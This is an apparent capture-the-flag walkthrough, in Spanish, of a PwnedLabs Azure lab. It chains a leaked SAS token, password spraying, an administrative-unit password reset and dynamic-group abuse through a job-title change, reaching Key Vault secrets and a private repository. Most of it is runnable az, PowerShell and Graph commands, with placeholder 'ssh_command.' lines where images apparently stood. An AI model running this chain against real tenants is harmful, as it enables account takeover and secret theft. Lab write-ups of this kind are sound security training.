Abuse Dynamic Groups in Entra ID for Privilege Escalation

Abuse Dynamic Groups in Entra ID for Privilege Escalation


Azure PwnedLabs

El repositorio que tenemos que ver es el siguiente: https://github.com/Mega-Big-Tech/Applicant-Management

git clone gh repo clone Mega-Big-Tech/Applicant-Management.git

git log

ssh_command.

git show 059292cfc8298ad0a930287743596243b0d65e19

Vemos el sasToken.

ssh_command.

Abrimos el Microsoft Azure Storage Explorer.

ssh_command.

Escogemos la tercera opcion.

ssh_command.

Escogemos la segunda opcion.

ssh_command.

En la segunda imagen de este articulo pueden ver donde saque esta informacion (1).

ssh_command.

Al tratar de ver la informacion nos sale lo siguiente:

ssh_command.

Vemos que el contenedor fue eliminado.

ssh_command.

Ahora nos desligamos de los contenedores y iniciamos de nuevo.

ssh_command.

Bajamos el archivo de Mega Big Tech New Employee Onboarding.

ssh_command.

open Mega Big Tech New Employee Onboarding.pdf

ssh_command.

Desde el az cli se hace asi:

az storage container list --account-name mbtfileshr --sas-token "sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE%3D" --output table

ssh_command.

az storage blob list --account-name mbtfileshr --container-name candidate-resumes --sas-token "sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE%3D" --output table

ssh_command.

az storage blob download --account-name mbtfileshr --container-name candidate-resumes --name "Mega Big Tech New Employee Onboarding.pdf" --file "Mega Big Tech New Employee Onboarding.pdf" --sas-token 'sv=2022-11-02&ss=bfqt&srt=sco&sp=rl&se=2099-05-06T06:03:29Z&st=2024-05-05T22:03:29Z&spr=https&sig=Dws3bgGUWCUknRdVmRoFXItmnItJDLHy76Axgu1qNtE%3D' --output table

ssh_command.

ruby username-anarchy --suffix @megabigtech.com Angelina Lee > emails.txt

ssh_command.

python3 Oh365UserFinder.py -r emails.txt

ssh_command.

Encontramos un usuario valido.

python3 Oh365UserFinder.py --el emails.txt --password 'MBT$Future!' --pwspray

ssh_command.

Nos conectamos a https://aadinternals.com/osint/ y buscamos alee@megabigtech.com

ssh_command.

Connect-AzAccount -TenantId 2590ccef-687d-493b-ae8d-441cbab63a72

ssh_command.

Por alguna razon esto no me funciono.

ssh_command.

Connect-AzAccount -TenantId 2590ccef-687d-493b-ae8d-441cbab63a72

ssh_command.

ssh_command.

ssh_command.

Hago lo mismo desde el portal para verificar.

ssh_command.

ssh_command.

Le damos click a Si.

ssh_command.

ssh_command.

Parece que no tenemos acceso a los recursos de Azure.

Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "User.Read.All"

ssh_command.

Corriendo Get-MgUser y nos damos cuenta que es un supervisor de Ingenieria.

Get-MgUser -UserId alee@megabigtech.com | fl

ssh_command.

Get-MgUser -Filter "onPremisesSyncEnabled eq true" | Select-Object UserPrincipalName| Out-File users.txt

ssh_command.

python3 .\Oh365UserFinder\oh365userfinder.py -p 'MBT$Future!' --pwspray --elist .\users.txt

ssh_command.

Estos usuarios no usaron la misma contrasena.

Get-MgDirectoryAdministrativeUnit | fl

ssh_command.

Como el usuario es un supervisor de ingenieria vemos a ver si tiene permiso en la unidad de ONBOARDING-ENGINEERING.

$ScopedRoleMembers = Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId 4a3288aa-1a8b-485a-8ced-2bd80feef625

$ScopedRoleMembers

ssh_command.

Esto devuelve el ID de una función que se ha configurado en la unidad administrativa. Al ejecutar Get-MgDirectoryRole con el ID de la función, vemos que se han concedido los permisos privilegiados de administrador de usuarios.

Get-MgRoleManagementDirectoryRoleAssignment -Filter "PrincipalId eq '$($user.Id)'" | fl

Y nos despliega el AdministrativeUnitId

ssh_command.

ssh_command.

Get-MgDirectoryRole -DirectoryRoleId 44f23f5b-69bb-41a4-a417-c5427772de41 | fl

ssh_command.

ssh_command.

Esta función permite a los miembros de la misma gestionar todos los aspectos relacionados con los usuarios y los grupos, incluido el restablecimiento de contraseñas para administradores con privilegios limitados.

Corremos el siguiente script.

ssh_command.

./FindAdminUsers.ps1

ssh_command.

Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId "fe930be7-5e62-47db-91af-98c3a49a38b1" | fl

ssh_command.

(Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId "fe930be7-5e62-47db-91af-98c3a49a38b1").RolePermissions.AllowedResourceActions

Podemos ver las acciones de ese rol.

ssh_command.

Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 4a3288aa-1a8b-485a-8ced-2bd80feef625

ssh_command.

Get-MgUser -UserId f5597fb4-82b3-4b25-9dfb-761a25f36f67

ssh_command.

Felix Scheider es un ingeniero que es miembro de esa unidad administrativa.

Vamos a modificar la contrasena de Felix.

ssh_command.

Connect-AzAccount -AccountId “Felix.Schneider@megabigtech.com

ssh_command.

ssh_command.

Nos conectamos como Felix.

ssh_command.

Note: we can leave the context of MgGraph as Angelina as she may have permissions we can use in the user-centric Microsoft Graph…

Get-AzResource

ssh_command.

Para adquirir los secretos de

ssh_command.

ssh_command.

Nuestro usuario no puede ver los secretos.

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" -Property Id,DisplayName,Description,Mail,MailEnabled,SecurityEnabled,Visibility,MembershipRule,MembershipRuleProcessingState,CreatedDateTime |
  Select-Object DisplayName,Id,Description,Mail,MailEnabled,SecurityEnabled,Visibility,MembershipRule,MembershipRuleProcessingState,CreatedDateTime |
  Export-Csv -Path .\dynamic-groups.csv -NoTypeInformation -Encoding UTF8

Para ver las membresias dinamicas. ssh_command.

Get-GraphTokens

ssh_command.

Get-DynamicGroups -Tokens $tokens

ssh_command.

Podemos hacer que felix se vuelva admin o cambiarle el titulo de Algorithm Administrator

ssh_command.

$params = @{
passwordProfile = @{
forceChangePasswordNextSignIn = $false
forceChangePasswordNextSignInWithMfa = $false
password = "Password12345!!"}
}
Update-MgUser -userid 'Felix.schneider@megabigtech.com' -BodyParameter $params

Update-MgUser -userid 'f5597fb4-82b3-4b25-9dfb-761a25f36f67' -JobTitle 'Algorithm Administrator'

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

ssh_command.

Por la terminal hacemos estos comandos para ver el secreto.

az resource list --query "[].{ID:id,Type:type,ResourceGroup:resourceGroup,Identity:identity}"

az keyvault secret list --vault-name Engineering-Vault1 --query "[].name"

az keyvault secret show --vault-name Engineering-Vault1 --name "algo-github-deploy-key" --query "value"

ssh_command.

New.pem es la llave privada o el secreto que encontramos arriba.

chmod 400 deploy-key.pem

GIT_SSH_COMMAND='ssh -i deploy-key.pem -o IdentitiesOnly=yes' git clone git@github.com:/Mega-Big-Tech/algorithm-internal

ssh_command.

cd algorithm-internal

cat flag.txt

ssh_command.

© 2025 Cu3rv0x